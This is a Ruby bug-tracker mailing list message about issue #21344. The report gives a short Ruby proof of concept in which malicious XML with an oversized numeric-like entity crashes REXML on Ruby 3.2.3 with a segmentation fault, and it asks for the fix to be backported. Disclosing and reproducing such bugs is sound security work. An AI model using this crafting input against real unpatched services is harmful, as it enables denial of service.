From: "nagachika (Tomoyuki Chikanaga) via ruby-core" <ruby-core@...>
Date: 2025-05-16T10:49:01+00:00
Subject: [ruby-core:122141] [Ruby Bug#21344] Segment Fault Caused by no Backported Patches

Issue #21344 has been updated by nagachika (Tomoyuki Chikanaga).


Ah, I have misunderstood that the fix was on rexml.gem.

----------------------------------------
Bug #21344: Segment Fault Caused by no Backported Patches 
https://bugs.ruby-lang.org/issues/21344#change-113292

* Author: tianstcht (Haotian Cheng)
* Status: Closed
* ruby -v: 3.2.3 (2024-01-18 revision 52bb2ac0a6) [x86_64-linux-gnu]
* Backport: 3.2: REQUIRED, 3.3: REQUIRED, 3.4: DONTNEED
----------------------------------------

In my local machine(3.2.3 (2024-01-18 revision 52bb2ac0a6) [x86_64-linux-gnu]), which is the default version in ubuntu2404, a segmentation fault can be stably triggered by the poc including malicious xml data.

The poc here:
```ruby
require "rexml/document"
puts REXML::VERSION

def poc1(size)
    input = <<EOF
     <mydoc>
        <tt>#{'&' + '1'*size + '#x2F3F' + ' '}</tt>
    </mydoc>
EOF

    parser = REXML::Document.new input
end

poc1(8_999_999)
```
The issue has been fixed in this commit:
https://github.com/ruby/ruby/commit/b959263b58e26ef630c085f9f7ddc04373a998c7

But the fix haven't been backported to Ruby 3.2 and 3.3. 

Based on the developer's response, I think the backporting may be needed so the issue built.






-- 
https://bugs.ruby-lang.org/
 ______________________________________________
 ruby-core mailing list -- ruby-core@ml.ruby-lang.org
 To unsubscribe send an email to ruby-core-leave@ml.ruby-lang.org
 ruby-core info -- https://ml.ruby-lang.org/mailman3/lists/ruby-core.ml.ruby-lang.org/